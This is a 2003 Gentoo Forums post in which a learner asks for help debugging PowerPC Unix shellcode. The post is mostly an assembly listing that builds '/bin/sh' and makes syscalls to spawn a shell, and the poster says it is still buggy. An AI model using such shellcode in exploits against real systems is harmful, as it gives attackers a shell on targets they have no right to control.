Gentoo Forums
Gentoo Forums
Gentoo Forums
Quick Search: in
PPC UNIX Shellcode Creation
View unanswered posts
View posts from last 24 hours

 
Reply to topic    Gentoo Forums Forum Index Portage & Programming
View previous topic :: View next topic  
Author Message
Kajun11
n00b
n00b


Joined: 20 Jun 2003
Posts: 1

PostPosted: Fri Jun 20, 2003 6:05 pm    Post subject: PPC UNIX Shellcode Creation Reply with quote

Hi ,I'm creating a PPC Unix shellcode and im having a little trouble so i was wondering if such smart people as yourselfs could give me a hand, this isn't very complex, since I'm still learning, but here is my problem. It doesn't seem to train the null byte after the init of /bin/sh. Could you please help me and see where I have gone wrong?

Any help at all is extremely appreciated :)


nop is 0x7ffffb78.

.section ".text"
.align 2
.globl m
.type m,@function

m:
xor 6,6,6
cmpi 7,0,6,0x7FFF
bc 13,28,L2
L1: mfspr 3,8
sth 6,-7(3)
sth 6,-15(3)
addi 4,6,0x7FF0
addi 5,6,0x7FF4
addi 7,6,0x7FF3
xor 5,5,4
xor 7,7,4
add 4,5,7
stbx 6,4,3
add 0,4,5
sub 7,5,7
add 4,5,5
stwx 3,3,4
add 4,3,4
stwx 6,5,4
xor 5,5,5
.long 0x44ffff02
or 0,7,7
.long 0x44ffff02
L2: bl L1
.long 0x2F62696E
.long 0x2F73685A
.long 0xffffffff
.long 0xffffffff

.Lfe1:
.size m,.Lfe1-m
Back to top
View user's profile Send private message
Display posts from previous:   
Reply to topic    Gentoo Forums Forum Index Portage & Programming All times are GMT
Page 1 of 1

 
Jump to:  
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum